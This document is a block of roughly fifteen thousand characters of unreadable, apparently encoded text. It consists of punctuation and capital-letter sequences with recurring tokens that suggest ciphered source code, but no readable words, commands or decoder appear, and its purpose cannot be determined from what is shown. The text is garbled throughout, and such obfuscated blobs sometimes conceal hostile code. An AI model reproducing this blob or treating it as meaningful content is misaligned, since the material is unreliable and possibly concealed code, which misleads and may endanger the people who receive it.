BRGlAn9@]AAKPKY^UGAFV9P\]GZ]FV9N999_Z@GKZ_RJ[_UJ^]EW[YZEPIQ^K]DI\QE VFD@D[TX FDDE]AP@TR^\BGTX FDDUR_@V	DDlT[Z ED
_TUZF VF
Y[^GVKX_ZhGnE]AP@TR^\BGE]AP@TR^\BG





9ZUKZ_RJ[_@RXX\lWTDlGUR_@V9ZUKZ_RJ[_ H99ZU@^TI]YQ^\CIl UVF
Y[^GVKX_ZH9XJRP]KB[T_R
@lGEYP_TUZF
DDlT[Z ED
VF
Y[^GVKX_ZhCn9D_[][\JlFKFCVGRUVF
Y[^GVKX_ZhQn9F]@VGP
 TU
l \[W_hE]AP@TR^\BGnhJBV\
BRGlAn9NV_@VH9P
 TU
l \[W_h_R
@lGEYP
 nhJBV\
BRGlAnh_TUZFn99N999@]AAKPKY^UGAFV9P\]GZ]FV9999N9ZU_R
@lGEYPUJ^]EW[YZE_R
@lGEYPUJ^]EW[YZEE]AP@TR^\BG
VF
Y[^GVKX_ZhGnDDlT[Z ED
UR_@VH9D_[][\JlFKFCVGRUVF
Y[^GVKX_ZhQn9F]@VGP
 TU
l \[W_hE]AP@TR^\BG
 nhJBV\
BRGlAn9999@]AAKPKY^UGAFV9P\]GZ]FV999N9P
 TU
l \[W_h_TUZF
 nhJBV\
BRGlAnhDDlT[Z EDn9@]AAKPKY^UGAFV9N9ZU@RXX\lWTDlG@]AAKPKY^UV^CGJP
 TU
l \[W_h_TUZF
nH99JZYYZGTQJ\QPEUR_@V9U\AVRP[P
 TU
l \[W_hDDlT[Z ED
nR@P
Ul^X@^E H9ZUZ]GP
Ul^X@^E hE]AP@TR^\BG
nKKH99JZYYZGTQJ\QPEGAFV999QAVRX999N9N9ZUJZYYZGTQJ\QPEH99sFCWRGVl\CGZ\]_R
@lGEYP
DDlT[Z ED
E]AP@TR^\BG_R
@lGEYP9XJRP]KB[T_R
@lGEYPDDlT[Z ED

9U\AVRP[P
 TU
l \[W_hDDlT[Z ED
nR@YZZl]@\BE\FFP
Ul^X@^E H9D_[][\JlFKFCVGRUP
Ul^X@^E hQn9F]@VGP
 TU
l \[W_hDDlT[Z ED
nhYZZl]@\BE\FFn9N9N9NV_@VZU@RXX\lWTDlGH9\AP[V@GARGV^V^V]G\U\Ac{cRGGAZQFGV@99J\IPRF]FEPsTVGl\CGZ\]DDlT[Z ED
9ZU_TUZF
J\IPRF]FEPOO_R
@lGEYPJ\IPRF]FEPE]AP@TR^\BG
 sFCWRGVl\CGZ\]_TUZF
DDlT[Z ED
_TUZF_R
@lGEYP9999N9ZUV^CGJP
 TU
l \[W_h_TUZF
nsWV_VGVl\CGZ\]E]AP@TR^\BG9999V_@VZU@]AAKPKY^UsFCWRGVl\CGZ\]_TUZFP
 TU
l \[W_DDlT[Z ED9N9UF]PGZ\]EV^X]IPDB]B][YFPAJWF\WA\R__999H99AVGFA]_R
@lGEYP
JWF\WA\R__E]AP@TR^\BGJWF\WA\R___R
@lGEYP
UR_@VOO_TUZFJWF\WA\R___TUZF
UR_@VOO_TUZF
JWF\WA\R__E]AP@TR^\BG UR_@VOOE]AP@TR^\BG
JWF\WA\R__E]AP@TR^\BG

UR_@VOODDlT[Z ED
JWF\WA\R__E]AP@TR^\BG
UR_@VOOE]AP@TR^\BG
JWF\WA\R__DDlT[Z ED
UR_@V9N9UF]PGZ\]XAFDDIAP@JX@YGFYJWF\WA\R__9H9dcq_\PXp\]GA\_@	]\]Q_\PXZ]TUZ_GVAP[RZ]9999ZUEV^X]IPDB]B][YFPAJWF\WA\R__AVGFA]UR_@V9ZUGJGEIB^R]J\QX[F[ VYJWF\WA\R__AVGFA]GAFV9ZU_R
@lGEYP _TUZF
JWF\WA\R__QVIU YZZH9d\AWcAV@@Q_\PXQZ]WZ]T@U\]GURPV99U\AVRP[QVIU YZZhnR@PDG WBZ
K [BlH9ZUEVA@Z\]lP\^CRAVPDG WBZ
K [BlB
C\ZlAP^PVX_\G_^ZAVGFA]GAFV9N9AVGFA]UR_@V9N9AVGFA]GAFVF\\\R Z[@TB@YJEF\\\R 9999N9UF]PGZ\]XRPU@ E_
]WR\^XUQlGD[XBG9H9ZUs_TUZF ^XUQlGD[XBGOOsE]AP@TR^\BG^XUQlGD[XBGAVGFA]9CEX
FJWs_R
@lGEYP^XUQlGD[XBG9ZUCEX
FJWAVGFA]9ZUCEX
FJW H9E_Z]AJ^ [C A@@sE]AP@TR^\BG^XUQlGD[XBGUR_@V]F__9ZUEV^X]IPDB]B][YFPAE_Z]AJ^ [C A@@AVGFA]9ZUW
VJ B_P]PGI^XUQlGD[XBGUR_@VH9XJRP]KB[TE]AP@TR^\BG
E]AP@TR^\BG
 _TUZF
^XUQlGD[XBG9AVGFA]9999N9s_R
@lGEYP
^XUQlGD[XBGC[Co]9ZU_TUZF
DDlT[Z ED s\CPRP[VlZ]ER_ZWRGV^XUQlGD[XBGGAFV9AVGFA]9N9ZUCEX
FJW

H9VCG
RRJQBBE]@GAZ]TsE]AP@TR^\BG^XUQlGD[XBGUR_@V]F__
9999[TEDR^QDFTCEX
FJW
 @GAZ]Ts_TUZF^XUQlGD[XBGUR_@V]F__CEX
FJW
 	9FXJDET\CTZKVCG
RRJQBBE][TEDR^QDFT9ZUFXJDET\CTZKDDlT[Z ED _TUZF
FXJDET\CTZKQ]@
\_YlK[F_H999CBQKP]TWTlVEUR_@V9U\AVRP[Q]@
\_YlK[F_hnR@BC\A [WZQ [JUH9|CV]`` CA\EZWVA@^V]FC\@ZGZ\]99ZUEVA@Z\]lP\^CRAVBC\A [WZQ [JUB
C\ZlAP^PVX_\G_^ZH9CBQKP]TWTlVEGAFV9QAVRX9N9N999ZUCBQKP]TWTlVEAVGFA]9N9N9JWF\WA\R__sDDlT[Z ED
^XUQlGD[XBG999ZUDDlT[Z ED
JWF\WA\R___R
@lGEYP
JWF\WA\R__KUUPKRJWF\WA\R__QYDlT@]@EWXY@ZT[YT\FYJWF\WA\R__99ZUE]AP@TR^\BG
JWF\WA\R__AVGFA]9ZUXAFDDIAP@JX@YGFYJWF\WA\R__AVGFA]9JKF_BZCI^\JQQJG^EE_^XUQlGD[XBGJWF\WA\R__9N9UF]PGZ\]JKF_BZCI^\JQQJG^EE_^XUQlGD[XBGJWF\WA\R__9H9VVZRG^JUEQ[VG_R
@lGEYPE]AP@TR^\BG
JWF\WA\R__9999ZUDDlT[Z ED

VVZRG^JUEQ[VGOO_TUZF VVZRG^JUEQ[VGOO_TUZF VVZRG^JUEQ[VG_TUZFVVZRG^JUEQ[VGC[Co]9ZUDDlT[Z ED
VVZRG^JUEQ[VG
ZRG
\KYQ\R AXGVVZRG^JUEQ[VGVVZRG^JUEQ[VGC[Co]9GGF_BlGX^I[sUZ_VCVA^@^XUQlGD[XBG9GGF_BlGX^I[GGF_BlGX^I[UR_@V
	GGF_BlGX^I[9RGB XBT[sDDlT[Z ED^XUQlGD[XBG999Rl\ZGTQ s_TUZF_TUZF ^XUQlGD[XBG_TUZF
99ZURl\ZGTQ UR_@VAVGFA]9ZUs_TUZF
Rl\ZGTQ VVZRG^JUEQ[VGDDlT[Z ED
VVZRG^JUEQ[VGH9s_TUZFRl\ZGTQ 9AVGFA]9N9s^VWZRGV@GRQZ_ZIVA99sDDlT[Z EDRl\ZGTQ GGF_BlGX^I[9ZUsDDlT[Z ED
Rl\ZGTQ ^XUQlGD[XBGH9s_TUZFRl\ZGTQ 9AVGFA]9N9ZURGB XBT[sDDlT[Z ED
^XUQlGD[XBGRGB XBT[9ZU_R
@lGEYP
_R
@lGEYP s\CPRP[VlZ]ER_ZWRGV^XUQlGD[XBGGAFV9N9UF]PGZ\]WKJ[ZYV^VYJ^Z
@KBZ9H9ZUDDlT[Z ED
^Z
@KBZAVGFA]9ZUDDlT[Z ED
 _TUZF
^Z
@KBZEY]XQQlHQ A\^Yl
ODTJI
JBlRGWQQ A\^Ylm9^WZFYV XKY]ZEY]XQQlhn999CEX
FJWs_R
@lGEYP
^WZFYV XKY]ZsDDlT[Z ED^WZFYV XKY]Z	9999ZUCEX
FJWOOCEX
FJW OOCEX
FJW
 H9ZUCEX
FJW H9GVGQ_U
lQ_Vs_R
@lGEYP^WZFYV XKY]Z9ZUDDlT[Z ED
GVGQ_U
lQ_VGVGQ_U
lQ_V^WZFYV XKY]Z9GVGQ_U
lQ_VE]AP@TR^\BG
ooGVGQ_U
lQ_V9999G_G  Z]QPB
FUR_@V999GQ^EYV\ICRAARJWVUZ]VW_TUZF _R
@lGEYP
rq`crg{E]AP@TR^\BG
	WVUZ]VW_R
@lGEYP
DDlT[Z ED
dclp|}gv}glwzaE]AP@TR^\BG

	99U\AVRP[GQ^EYV\ICR@AJRYP I
C[H9AJRYP I
C[_R
@lGEYP
ooAJRYP I
C[9ZUAJRYP I
C[E]AP@TR^\BG
 GVGQ_U
lQ_VAJRYP I
C[H99G_G  Z]QPB
FGAFV9QAVRX9N9dcav`grczE	CRAGZGZ\]DZG]V@@99N9ZUG_G  Z]QPB
FW
VJ B_P]PGI^WZFYV XKY]ZUR_@VH9~J`by`|}\CVARG\A@[\\XPR__QRPX9UEYUT
EFX OUFl[RYlUEYUT
EFXm
9sE]AP@TR^\BG^WZFYV XKY]Z9s_TUZFDDlT[Z ED ^WZFYV XKY]Z_R
@lGEYP
_TUZF
 ^WZFYV XKY]ZDDlT[Z ED 99NV_@VH9XJRP]KB[TDDlT[Z ED
 E]AP@TR^\BG
  _TUZF
 ^WZFYV XKY]Z9N9N9AVGFA]9N9N999AVGFA]^Z
@KBZ9N9UF]PGZ\]D]_U\\DK^9H9@GRGZP^WZFYV XKY]Z]F__C@JX^KW
KVA]lFXY
@
^BC@JX^ 9ZU^WZFYV XKY]Z]F__H9WA]V @Z VTDG
V^^^UVJF@KRX_9^WZFYV XKY]Z_R
@lGEYP
 WA]V @Z VTDG
Z@@VGWA]V @Z VTDG
hDDlT[Z EDnE]AP@TR^\BG
 @GAZ]TWA]V @Z VTDG
hE]AP@TR^\BGn_R
@lGEYP
 9N9AVGFA]^WZFYV XKY]Z9N9UF]PGZ\]_CFG
[AXKX[T\FYY9H9ZUWVUZ]VWE]AP@TR^\BG AVGFA]9K_@IF@\]EA
Wrq`crg{_TUZF
 9ZUs_TUZF
K_@IF@\]EA
WH9XABRCW@ZE]AP@TR^\BG
 rq`crg{_R
@lGEYP 9ZUs_R
@lGEYP
 XABRCW@ZK_@IF@\]EA
WXABRCW@Z9N9ZUsDDlT[Z ED
 
K_@IF@\]EA
WOOs_TUZFK_@IF@\]EA
WAVGFA]9GVGQ_U
lQ_Vs_R
@lGEYPK_@IF@\]EA
W9ZUDDlT[Z ED
GVGQ_U
lQ_VGVGQ_U
lQ_VsE]AP@TR^\BG
GVGQ_U
lQ_VK_@IF@\]EA
WGVGQ_U
lQ_V9ZUs_R
@lGEYPK_@IF@\]EA
W
AVGFA]9JWF\WA\R__sDDlT[Z ED
K_@IF@\]EA
W9ZUDDlT[Z ED
JWF\WA\R__OOJWF\WA\R__AVGFA]999WK^ZDYDU[DKV
AE]AP@TR^\BG
 JWF\WA\R__E]AP@TR^\BG
UR_@VOO_TUZF
 JWF\WA\R___R
@lGEYP
 UR_@V9\WYFV\U@UR_@VZB
Z[JE B[TE
^RW]ZB
Z[JE9ZU_R
@lGEYP
JWF\WA\R___R
@lGEYP
UR_@VH9999ZUV^CGJt|qr`h_R
@lGEYP
nH9\WYFV\U@GAFV9NV_@VH9XAY
TPVB_R
@lGEYP
E]AP@TR^\BGDDlT[Z ED	DDlT[Z ED9ZUs_TUZF 
XAY
TPVBOOsDDlT[Z ED
XAY
TPVB\WYFV\U@GAFV9N9999N9B] U^lT
RCUWJ\UR_@V9l@KWVX
_IUR_@V9999ZU_R
@lGEYP
 _R
@lGEYP
JWF\WA\R__WVUZ]VWDDlT[Z ED

H9lRPdclp|}gv}glwzaDDlT[Z ED
9ZUs_TUZF
 
lRPH9FPAWWQCC_K@GAZ]Ts_TUZF
lRPUR_@V]F__ 
999ZU_TUZF
FPAWWQCC_K_TUZF
 UR_@VB] U^lT
RCUWJ\GAFV9N9NV_@VZU9DDlT[Z ED
JWF\WA\R___TUZFUR_@V9_TUZF
 E]AP@TR^\BG
JWF\WA\R__9H9l@KWVX
_IGAFV9N999PUKRE[XWPQPUR_@V9ZUD]_U\\DK^HA\]FQ_ZGATA\]FQ9ZU9_R
@lGEYP
DDlT[Z ED
JWF\WA\R__9OO_R
@lGEYP
DDlT[Z ED
JWF\WA\R__9OO_TUZF
DDlT[Z ED

JWF\WA\R__9PUKRE[XWPQPGAFV9N999ZUWK^ZDYDU[DKV
A\WYFV\U@B] U^lT
RCUWJ\PUKRE[XWPQPl@KWVX
_IAVGFA]YDGDW_GIUQPD
\^l^^J]JCTAYDGDW_GIUQPD
9EQ\P\RIY999VVZRG^JUEQ[VGJWF\WA\R__9ZUWK^ZDYDU[DKV
AH9999ZU_TUZF
_TUZF
JWF\WA\R__K^^@_TIQEQ\P\RIY_R
@lGEYP o]K^^@_TIQhn9VVZRG^JUEQ[VG_TUZFE]AP@TR^\BG
JWF\WA\R__999ZU_TUZF
VVZRG^JUEQ[VGAVGFA]9ZU_R
@lGEYP
DDlT[Z ED
 VVZRG^JUEQ[VGDX@XRT^IlIEKEQ\P\RIYo]E]AP@TR^\BG
o]DX@XRT^IlIEKhn9VVZRG^JUEQ[VG_R
@lGEYP
E]AP@TR^\BG
VVZRG^JUEQ[VG9ZU_R
@lGEYP
VVZRG^JUEQ[VGAVGFA]9N9ZU\WYFV\U@E]AP@TR^\BG
E]AP@TR^\BG
VVZRG^JUEQ[VGH99VVZRG^JUEQ[VGDDlT[Z ED
DDlT[Z ED

_TUZF
WVUZ]Vdclgv~clwzaWVUZ]VWdclp|}gv}glwzadclp|}gv}glwza	rq`crg{DCP\]GV]G@PlG^Co]VVZRG^JUEQ[VG9ZU_TUZF
VVZRG^JUEQ[VGAVGFA]999N9ZUB] U^lT
RCUWJ\E]AP@TR^\BG
DDlT[Z ED
VVZRG^JUEQ[VGH9VVZRG^JUEQ[VGDDlT[Z ED
_TUZF
_R
@lGEYP
WVUZ]Vdclprp{vGAFV`pldpo]VVZRG^JUEQ[VG9ZU_TUZF
 VVZRG^JUEQ[VGAVGFA]9NV_@VZUl@KWVX
_IH9VVZRG^JUEQ[VG_R
@lGEYP
_TUZF
_R
@lGEYP
WVUZ]Vdclprp{vGAFV`pldpo]VVZRG^JUEQ[VG9ZUE]AP@TR^\BG
VVZRG^JUEQ[VGAVGFA]9N9ZUPUKRE[XWPQPH9VVZRG^JUEQ[VGDDlT[Z ED
E]AP@TR^\BG
VVZRG^JUEQ[VG99ZU_R
@lGEYP
VVZRG^JUEQ[VGAVGFA]9ZUE]AP@TR^\BG
E]AP@TR^\BG
VVZRG^JUEQ[VGHEWX_APU]A@
W[WAlZREWX_APU]A@EWX_APU]A@	EWX_APU]A@9VVZRG^JUEQ[VG_TUZF
E]AP@TR^\BG
DDlT[Z ED
WVUZ]VdclwvqftGAFVo]WVUZ]Vdclwvqftl|tGAFVo]WVUZ]Vdclwvqftlwz`crjUR_@Vo]VVZRG^JUEQ[VG9ZUE]AP@TR^\BG

VVZRG^JUEQ[VGAVGFA]9N99N9ZUVVZRG^JUEQ[VGJWF\WA\R__AVGFA]9ZUZRG
\KYQ\R AXGVVZRG^JUEQ[VGAVGFA]9ZUB] U^lT
RCUWJ\DZQEAXZYUl ZC
K_@IF@\]EA
WJWF\WA\R__H9XJRP]KB[TE]AP@TR^\BG
E]AP@TR^\BG9VVZRG^JUEQ[VG_TUZF
_R
@lGEYP
_TUZF
 VVZRG^JUEQ[VG9ZUE]AP@TR^\BG

VVZRG^JUEQ[VGOOVVZRG^JUEQ[VGJWF\WA\R__AVGFA]999ZUZRG
\KYQ\R AXGVVZRG^JUEQ[VGAVGFA]9N99GGF_BlGX^I[sUZ_VCVA^@K_@IF@\]EA
W9GGF_BlGX^I[GGF_BlGX^I[UR_@V 	GGF_BlGX^I[  9RGB XBT[s_TUZFK_@IF@\]EA
W9Rl\ZGTQ s_TUZF
_TUZF
 K_@IF@\]EA
W_TUZF
999ZURl\ZGTQ UR_@VAVGFA]9ZUs_TUZF
Rl\ZGTQ VVZRG^JUEQ[VG_R
@lGEYP
VVZRG^JUEQ[VGHVJFF^V\c{clz}gl~rkc{clz}gl~rk^VRKUB
PQ
PVJFF^V\9s_R
@lGEYPRl\ZGTQ 9AVGFA]9N9sDDlT[Z EDRl\ZGTQ GGF_BlGX^I[9ZUs_TUZF
Rl\ZGTQ K_@IF@\]EA
WH9sDDlT[Z EDRl\ZGTQ 9AVGFA]9N9ZURGB XBT[s_TUZF
K_@IF@\]EA
WRGB XBT[9ZUE]AP@TR^\BG
DDlT[Z ED s\CPRP[VlZ]ER_ZWRGVK_@IF@\]EA
WGAFV9ZU_TUZF
_R
@lGEYP
EQ\P\RIYI\lCJA]KU
H9999U\AVRP[DDlT[Z EDI\lCJA]KU
hnR@GP\JZAQGFH9ZU_TUZF
GP\JZAQGF_TUZF

sDDlT[Z ED
 
GP\JZAQGFsE]AP@TR^\BGGP\JZAQGF9N99N9ZU_TUZF
_TUZF
 DDlT[Z ED
_R
@lGEYP

EQ\P\RIY_BTWQlFJTB_H999U\AVRP[_R
@lGEYP_BTWQlFJTB_hnR@C WRZYY^H9ZU_TUZF
_TUZF

C WRZYY^sWV_VGVl\CGZ\]C WRZYY^9N9N9N99UF]PGZ\]]YJZ^[AWEGURJB]_99H99ZUWVUZ]VW_R
@lGEYP

AVGFA]9GWAU_TVBDWVUZ]VWE]AP@TR^\BG

dc~flcftz}lwza	dclp|}gv}glwzaDDlT[Z ED9IBCWVVUDRAARJ9ZUDDlT[Z ED
_R
@lGEYPH999ZUsE]AP@TR^\BG 
GWAU_TVBDU\AVRP[RAARJsE]AP@TR^\BG

 GWAU_TVBD_TUZF

R@@EKllPWQEBJ^IBCWVVUDhn@EKllPWQEBJ^9ZUWVUZ]VWE]AP@TR^\BGsDDlT[Z ED 
dclcftz}lwzaU\AVRP[RAARJs_TUZF

 dclcftz}lwza_TUZFR@@EKllPWQEBJ^IBCWVVUDhn@EKllPWQEBJ^999N9D@WI[XFU_^WVUZ]VWE]AP@TR^\BG rq`crg{	9999UWZGCFWP[Gdclp|}gv}glwzaDDlT[Z ED_TUZF

_R
@lGEYP D@WI[XFU_^_TUZF m_R
@lGEYPE]AP@TR^\BG

_TUZF D@WI[XFU_^_R
@lGEYP

m
E]AP@TR^\BG

9ZUsDDlT[Z ED
 
UWZGCFWP[GIBCWVVUDhnUWZGCFWP[G99U\AVRP[IBCWVVUDR@@EKllPWQEBJ^H9RGB XBT[s_R
@lGEYP@EKllPWQEBJ^9ZURGB XBT[OORGB XBT[
 H9ABC\WXZX_s_TUZF@EKllPWQEBJ^9ZUABC\WXZX_OOABC\WXZX_
 OOABC\WXZX_KWPW
KQ P\]GZ]FV9N9GVGQ_U
lQ_Vs_TUZF@EKllPWQEBJ^9GDJQX^XZTV^
Vs_TUZFYDA[\
D@PQVUAV9ZUE]AP@TR^\BG

GVGQ_U
lQ_VE]AP@TR^\BG

GDJQX^XZTV^
VGVGQ_U
lQ_VGDJQX^XZTV^
VP\]GZ]FV9XXUTVWB@sDDlT[Z ED
@EKllPWQEBJ^UR_@V]F__KVWKR 9ZU_R
@lGEYP

XXUTVWB@OO_R
@lGEYP
XXUTVWB@_R
@lGEYP
UR_@VP\]GZ]FV999ZU_R
@lGEYP
E]AP@TR^\BGXXUTVWB@Q]@
\_YlK[F_P\]GZ]FV9ZUEVA@Z\]lP\^CRAVQ]@
\_YlK[F_hnB
C\ZlAP^PVX_\G_^ZP\]GZ]FV9AKBT]UW@DP^]TW
VJ B_P]PGI@EKllPWQEBJ^99ZUAKBT]UW@DP^]TUR_@VH9XJRP]KB[T_R
@lGEYP
 E]AP@TR^\BG


_TUZF@EKllPWQEBJ^9P\]GZ]FV9N9ZUAKBT]UW@DP^]TGAFVH9ZU_R]IA^^ITD] WV@EKllPWQEBJ^@EKllPWQEBJ^_R
@lGEYPH9WV[JWARGVAVGAJC\_ZPJU\Adcv^QVWq_\PX999ZUE]AP@TR^\BGDDlT[Z ED s\CPRP[VlZ]ER_ZWRGV@EKllPWQEBJ^GAFV9N9WZ^V]@Z\]@BFVVIV99sDDlT[Z EDDDlT[Z ED @EKllPWQEBJ^E]AP@TR^\BG
E]AP@TR^\BG@EKllPWQEBJ^_R
@lGEYP

9P\]GZ]FV9N9sDDlT[Z ED@EKllPWQEBJ^999sDDlT[Z ED_TUZF@EKllPWQEBJ^E]AP@TR^\BG
_R
@lGEYP@EKllPWQEBJ^_TUZF

9ZUE]AP@TR^\BG_R
@lGEYP s\CPRP[VlZ]ER_ZWRGV@EKllPWQEBJ^GAFV9N9_CFG
[AXKX[T\FYY9JQY][Z^ TK
Wdclp|}gv}glwza_TUZF9ZUsDDlT[Z ED 
JQY][Z^ TK
WE]AP@TR^\BG_R
@lGEYPH999U\AVRP[RAARJs_R
@lGEYPJQY][Z^ TK
WDDlT[Z EDR@^EIJ\GICZ
JH9ZUs_TUZF
 
^EIJ\GICZ
JOOs_R
@lGEYP
^EIJ\GICZ
JP\]GZ]FV9]Vl^F RQ]T]@s_TUZF^EIJ\GICZ
J999ZU]Vl^F RQ]T]@OO]Vl^F RQ]T]@
P\]GZ]FV9UE VA
A@ZIKs_R
@lGEYP
^EIJ\GICZ
J9ZU_R
@lGEYP
UE VA
A@ZIKP\]GZ]FV9999ZU_R
@lGEYP
UE VA
A@ZIKDDlT[Z ED
UR_@V_R
@lGEYP
UE VA
A@ZIK_R
@lGEYPUR_@V_TUZF
UE VA
A@ZIKE]AP@TR^\BGUR_@VP\]GZ]FV9ZUY]KDCQWCE__KUE VA
A@ZIKP\]GZ]FV9GUXRW\BBQABF[EVBYFUE[QU
IUE VA
A@ZIK9999ZU_R
@lGEYPGUXRW\BBQABGUXRW\BBQABUE VA
A@ZIKH9_Bl[
X^GYCY^P ^EIJ\GICZ
JGUXRW\BBQAB99ZU_TUZFDDlT[Z ED s\CPRP[VlZ]ER_ZWRGV^EIJ\GICZ
JGAFV9N9N9N9XRPU@ E_
]WR\dclp|}gv}glwza_TUZF 9XRPU@ E_
]WR\dclp|}gv}glwzaE]AP@TR^\BG9ZU_R
@lGEYPE]AP@TR^\BGDDlT[Z EDE]AP@TR^\BGE]AP@TR^\BG_TUZFH9l\]BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG KK
9IYKU\\PZIGEGsTVGl\CGZ\]l\]99ZU_R
@lGEYPIYKU\\PZIGEGIYKU\\PZIGEGH9\ 
X_@ZPK@B^Z]E]AP@TR^\BGIYKU\\PZIGEGGAFV9ZUE]AP@TR^\BG\ 
X_@ZPK@B^Z]DDVC@][@ZEFXY\ 
X_@ZPK@B^Z]sWV_VGVl\CGZ\]l\]RY
A]^V[\RBD
@\W
P ZRY
A]^V[\RBD999N9YTYBGW@ZA@JE]AP@TR^\BG_TUZF
RZWW
ZYXT_\DQDDlT[Z ED	9ZUE]AP@TR^\BGYTYBGW@ZA@JYTYBGW@ZA@J_R
@lGEYP
YTYBGW@ZA@JOODDlT[Z EDE]AP@TR^\BGP\F\X^VJ CEYTYBGW@ZA@JOOGJGEIB^R]J\QX[F[ VYYTYBGW@ZA@JH9ZU_TUZFE]AP@TR^\BGX[RZVlID
UT\BTZXYDVDDlT[Z ED DDlT[Z ED9N9N99N9UF]PGZ\]QA^TF_UlIBA l_P 9H999GAJH9ZUWVUZ]VW_TUZF AVGFA]9999ZUV^CGJt|qr`hDDlT[Z EDnH9P\R_V@PV@GAZPGV]F^VARG\A99t|qr`h_R
@lGEYPnUEQ]E]XYVU\ATA@AX_JA
UEQ]E]XYVUUEQ]E]XYVU	UEQ]E]XYVU999XJRP]KB[T_TUZF_R
@lGEYP9N9ZUV^CGJt|qr`h_TUZFnAVGFA]9999t|qr`h_R
@lGEYPnGAFV9ZUZ@@VGltvghE]AP@TR^\BG 
n_R
@lGEYP_R
@lGEYP_R
@lGEYP_R
@lGEYPH9AKV QA@]Z
ZDsTVGl\CGZ\]DDlT[Z EDRAARJ9PBGBAAW
[EUR_@V9ZUDDlT[Z ED
 AKV QA@]Z
ZDH9ZUV^CGJAKV QA@]Z
ZDhGn_R
@lGEYPZ]GAKV QA@]Z
ZDhE]AP@TR^\BG
nPBGBAAW
[EGAFV9ZUPBGBAAW
[EV^CGJAKV QA@]Z
ZDhE]AP@TR^\BG nDDlT[Z ED AKV QA@]Z
ZDh_TUZF nH9U\AVRP[AKV QA@]Z
ZDhE]AP@TR^\BG nR@lPZH9ZUE]AP@TR^\BG lPZ_TUZFZ]GlPZhE]AP@TR^\BG
nKWRKVH9PBGBAAW
[EGAFV9QAVRX9999N9N9N9N999ZUPBGBAAW
[E_TUZF DDlT[Z ED  9N9ZUWlQ^TGDA
Q[FBJJEYDA[\
D@PQVUAVAVGFA]9]YJZ^[AWEGURJB]_9\KGWB[^IDQ[FB]@YDA[\
D@PQVUAVB
C\ZlAP^PVX_\G_^Z9ZU@UWV\QUJX\T^ZCR VKH9XEZE[EZB
JIB999_VQ]E[DERTR\KQJV9AVGFA]9N9Z]^ECVK\YDQIR\^]V JWXZ_9RQB[JPI\@TRAARJ9YDA[\
D@PQVUAV9Z]^ECVK\YDQI_R
@lGEYP99IZER
C[_V\RZ[AJ JTIJRAETARZCCKlCl9U\AVRP[IZER
C[_V\RZ[R@JIXTP@QFCDGH9ZUs_TUZF JIXTP@QFCDGRQB[JPI\@ThnJIXTP@QFCDG9N9l_ARI]KR\RAARJ9ZUGKWQ_lBW^F AXKH9WCI@DDI[CQBEJBQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYP m_R
@lGEYP 9l_ARI]KR\h_TUZF rq`crg{_R
@lGEYPnWCI@DDI[CQBEJ9l_ARI]KR\hDDlT[Z ED Z]^ECVK\YDQI_R
@lGEYPnWCI@DDI[CQBEJ9N9UK[TTT\Q_TUZF_R
@lGEYP 
s_TUZF 
_TUZF	UR_@V9ZUE]AP@TR^\BGUK[TTT\QUK[TTT\QH9AEWT@AAKKWE FZ]GTVGl\CGZ\]_TUZF9ZUAEWT@AAKKWE FOO_TUZFAEWT@AAKKWE FH9@AG_PCPUJPBQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYPKKE]AP@TR^\BG9l_ARI]KR\hE]AP@TR^\BG _TUZF
rq`crg{_R
@lGEYPUK[TTT\Qn@AG_PCPUJP9l_ARI]KR\hE]AP@TR^\BG Z]^ECVK\YDQIUK[TTT\Qn@AG_PCPUJP9999N9N9R]IX
FDZQV KlYB
 R 9ZUsDDlT[Z ED R]IX
FDZQhnl_ARI]KR\h_R
@lGEYPR]IX
FDZQhnn_R
@lGEYPR]IX
FDZQhn9]]UA^IG_QKsTVGl\CGZ\]_TUZFRAARJ9ZUDDlT[Z ED ]]UA^IG_QK]]UA^IG_QKRAARJ9ETPP Y^CCB_ UR_@V9U\AVRP[RQB[JPI\@TR@]U[IXWQCAQQH9BR GTAJQGGP]DsDDlT[Z ED]U[IXWQCAQQ9W[RVCClG[\^K]
BR GTAJQGGP]DBR GTAJQGGP]DhE]AP@TR^\BGnOBR GTAJQGGP]DhDDlT[Z ED
n	9U
AI
TK_Z@@VG]]UA^IG_QKh]U[IXWQCAQQn]]UA^IG_QKh]U[IXWQCAQQn	99ZUW[RVCClG[\^K]
U
AI
TK_P\]GZ]FV9ZU_R
@lGEYP
_TUZFU
AI
TK_VABZQ ^JG Q^@JDDlT[Z EDU
AI
TK_E]AP@TR^\BGVABZQ ^JG Q^@JhnW[RVCClG[\^K]
DDlT[Z EDZ]GVABZQ ^JG Q^@Jhn  P\]GZ]FV9999ETPP Y^CCB_ GAFV9QAVRX9N9ZUETPP Y^CCB_ H9U\AVRP[l_ARI]KR\R@XVJYJA TYlXH9W[RVCClG[\^K]
JKR\UGI QZTW]FZ
U[_TUZFXVJm  YJA TYlX99U
AI
TK_Z@@VG]]UA^IG_QKhXVJn]]UA^IG_QKhXVJn	9ZUW[RVCClG[\^K]
U
AI
TK_P\]GZ]FV9ZU_TUZF
E]AP@TR^\BGU
AI
TK_VABZQ ^JG Q^@JE]AP@TR^\BG U
AI
TK__R
@lGEYPVABZQ ^JG Q^@JhnW[RVCClG[\^K]
_TUZFZ]GVABZQ ^JG Q^@Jhn P\]GZ]FV9ETPP Y^CCB_ GAFV9QAVRX9N9N9dcv]GZGJaVP\AW@	AV_VR@VP\\AWZ]RG\A99EFAlQFCE]AP@TR^\BGYDA[\
D@PQVUAV_TUZF9XV
\G_]E^Z]^ECVK\YDQI_R
@lGEYPEFAlQFCEFAlQFC_R
@lGEYP99JQ_IARFGKDR\_ET
F^JGPCQCW AYWQX99ZUs_TUZFXV
\G_]E^OOZ]GsE]AP@TR^\BGXV
\G_]E^
 
ETPP Y^CCB_ GAFV99ZUJQ_IARFGKDR\_s_R
@lGEYPJQ_IARFGKDR\_ETPP Y^CCB_ GAFV9ZUETPP Y^CCB_ _R
@lGEYPE]AP@TR^\BGH9A_GGYKREEFAlQFCEFAlQFCDDlT[Z ED9VTEGQ^D EJTVGl\CGZ\]_R
@lGEYPRAARJ9ZUE]AP@TR^\BG VTEGQ^D EJOOE]AP@TR^\BGA_GGYKREVTEGQ^D EJGAFVETPP Y^CCB_ GAFV9N9dcq_\PXp\]GA\_@	^\F]G@J^Q\_GRQ_V99ZUETPP Y^CCB_ AVGFA]9ZUAUBEA@R_
YU_R
@lGEYPAVGFA]99GAJH9XFT PCCAIY9GlU \UKI
FF\\XW@9999_VQ]E[DERTR\KQJV9TYG I[Q[] [PEZ_\l999\YG_IE
\JXE\9XEZE[EZB
